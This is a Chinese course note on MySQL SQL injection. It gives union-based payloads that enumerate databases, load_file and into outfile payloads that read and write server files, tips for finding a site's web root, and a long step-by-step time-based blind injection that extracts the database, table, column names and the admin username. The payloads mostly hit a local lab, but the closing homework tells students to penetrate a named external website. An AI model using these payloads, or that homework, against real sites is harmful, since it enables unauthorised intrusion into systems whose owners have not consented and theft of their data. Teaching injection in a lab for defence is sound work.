小迪16期-20170313

第四天:mysql权限渗透-mysql盲注攻击(上)

1.分析上节课的作业:获取所有数据库名的注入语句怎么写?

  • 抓包工具分析注入工具语句
    先网上下载工具注入工具havij 1.17 pro版本和抓包工具WSExplorer
  • 通过数据库属性分析注入语句
    information_schema.schemata 存储mysql下所有数据库名信息的表名
    schema_name 数据库名

http://127.0.0.1/sqlin/mysql/index.php?x=1 union select schema_name,2,3 from information_schema.schemata


2.实验:测试不同数据库用户的操作权限

文件读写测试:读就是load_file(),写就是into outfile()

  • Mysql最高权限用户root:可读可写

    root读写权限.jpg

    注意:如发现读取时为NULL,直接执行show global variables like '%secure%'; 发现secure_file_priv的值为NULL,然后修改mysql.ini 文件,在[mysqld] 下加入secure_file_priv =
    保存,重启mysql。这样就能读到内容了。

  • Mysql普通权限用户:无权限文件读写。


3.注入点数据库用户权限由什么决定?

连接数据库用户决定


连接用户.jpg

4.Mysql注入点进行文件读写操作

条件:root权限注入点
读取语句:读取C盘下123.txt文件内容
http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20load_file(%27c:/123.txt%27),2,3
写入语句
http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20%27abcd%27,2,3%20into%20outfile%20%27c:/www2.txt%27
注意事项:

  • 符号问题
    使用“/”或“\”;不使用“\”
    原因:编程中“\”多半是转义,如\n是换行


    符号问题.jpg
  • 编码问题
    如果要写入数据中带有单引号,怎么办?
    编码解决!(用编码就不用单引号)
    比如:
    http://127.0.0.1/sqlin/mysql/index.php?x=1 union select 0x6161616127,2,3 into outfile 'c:/1234.txt'
    这里的十六进制表示的就是aaaa'

5.网站路径获取方法

  • 遗留文件
    一般在网站根目录下,命名有php.php、info.php、
    phpinfo.php、test.php、php_info.php等。


    phpinfo.png
  • 报错显示


    报错显示.png
  • 漏洞暴路径


    漏洞暴路径.png
  • 读取搭建平台配置文件


    vhosts.png
  • 社工(字典猜解,谷歌黑客等)
    盲猜D:/www/
    D:/wwwroot/
    D:/web/


    谷歌黑客.png

6.Mysql盲注

  • sleep盲注攻击
    比如select * from news where id=1 union select database(),2,sleep(5)


    sleep盲注.png

    能正常执行,并在5秒后出结果,证明可以正常执行。用sleep可以判断你写的语句对不对。

  • If(条件,true,false):
    条件成立,返回第二个参数,反之返回第三个参数
    比如select * from news where id=1 union select 1,2,sleep(if(length(database())=5,5,0))
    判断数据库长度是否等于5,如果等于5就延迟5秒,不等于就不延迟。
    又比如select * from news where id=1 union select database(),2,sleep(if(mid(database(),1,1)='s',5,0))
    查询数据库名称第一个字母是不是等于's'的,是就延迟5秒。
    (mid函数有三个参数,第一个是字符串,第二个是从哪里开始截取,第三个是截取的长度)

7.Mysql盲注扩展资料

image.png

盲注的核心是靠 if 判断来注入

手工盲注之前先复习一下if 判断等函数
version() 是查看数据库版本
database() 查看数据库名
user() 查看当前用户
length( xxxxx ) 函数是统计字符串的长度


image.png

mid(str,1,3) 字符串截取


image.png

从字节1开始截 截到3就结束

ORD() 转换成ascii码


image.png

image.png

IF 语法:


image.png

if (条件,True,False);


image.png

开始手工盲注
select * from admin where user = "admin" and sleep(2); 执行需要2秒

1.获取数据库名长度

database() 查看数据库名


image.png

( select length(database() ) )
查询数据库名长度


image.png

select * from admin where user = "admin" and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );
如果数据库的长度等于2的话那么就执行true 否则就执行False
最后变成了 sleep(0)

image.png

如果数据库长度等于 7 的话 就执行true
最后变成了 sleep(5)
也就是select * from admin where user = "admin” and sleep(5)
最后得知数据库长度是 7 那么接下来就是获取数据库名了。

2.获取数据库名

数据库长度是 7
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'a' ) , 5,0 ) );
执行执行False 说明 第一个字节不是a


image.png

select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'x' ) , 5,0 ) );
执行执行true 执行了5秒 说明第一个字节是x

然后慢慢注入到7。。。。。。
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'x') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),2,1) = 'i' ) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),3,1) = 'n') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),4,1) = 'd') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),5,1) = 'o') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),6,1) = 'n') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),7,1) = 'g') , 5,0 ) );
第一个字节是x
第二个字节是i
第三个字节是n
第四个字节是d
第五个字节是o
第六个字节是n
第七个字节是g
全都是执行 5秒 然后得知 数据库是 xindong

当然了 这方法注入比较慢 比如有些数据库是特殊符号呢?那怎么办?一个一个符号猜解吗?
采用ORD函数进行ascii码来判断会快点

比如:
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );
条件:大于200 执行false 说明 不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );
条件:大于100 执行true 说明大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );
条件:大于120 执行false 说明不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );
条件:大于110 执行true 说明大于
说明数据库第一个字节的ascii码大于110小于120
说明是110~120之间

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );
等于 120 执行true 说明第一个字节的ascii码是120

image.png

最后解码得出是 x

3.获取表名长度

select * from admin where user = 'admin' and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1

长度等于 5 执行true,等待5秒
说明表名长度为5

4.获取表名

获取第1个字节
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))='a' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是a

获取第2个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))='d' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是d

获取第3个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))='m' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是m

获取第4个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))='i' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是i

获取第5个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))='n' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是n

5.获取表名的第一个字段长度

表名是:admin 16进制:61646d696e
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

请求时间5秒 说明第一个子段有4个字节

6.获取表名的第一个字段名

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= 'u',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= 's',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= 'e',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= 'r',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

爆出第一个字段是 user

然后第一个字段判断可能是用户名 还少来个密码字段那么就在 5.获取表名的第一个字段长度 把limit 1,1 获取下一个字段长度再进行获取密码字段

7.获取数据库内容

7.1 先猜第一个字段的数据库的长度
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;
执行5秒 说明这个字段的数据内容字节长度是5

那么就是获取数据了
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,1,1) = 'a' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,2,1) = 'd' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,3,1) = 'm' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,4,1) = 'i' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,5,1) = 'n' , 5,0) ) from admin limit 0,1;

然后用户名就是 admin 了

作业:http://www.gaoneng.com/
去渗透这个网站

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 221,273评论 6 515
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,349评论 3 398
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 167,709评论 0 360
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,520评论 1 296
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,515评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,158评论 1 308
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,755评论 3 421
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,660评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,203评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,287评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,427评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 36,122评论 5 349
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,801评论 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,272评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,393评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,808评论 3 376
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,440评论 2 359

推荐阅读更多精彩内容

  • sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功...
    道书简阅读 1,419评论 0 0
  • 漏洞挖掘与利用 测试环境的搭建 引言 为什么要搭建本地测试环境?我想下面的东西能够回答你的疑惑。 第二百八十五条 ...
    作业没写完阅读 3,199评论 0 4
  • 一、MySQL架构与历史 A.并发控制 1.共享锁(shared lock,读锁):共享的,相互不阻塞的。 2.排...
    阿休阅读 4,653评论 0 37
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,056评论 0 5
  • 月夜,昏醉的灯 正适合我和你告别 假如昨天注定要成为昨天 正如小提琴的忧伤 倒数 归结于小号的陪伴 那么飞机在黑夜...
    追一苇渡江阅读 171评论 0 0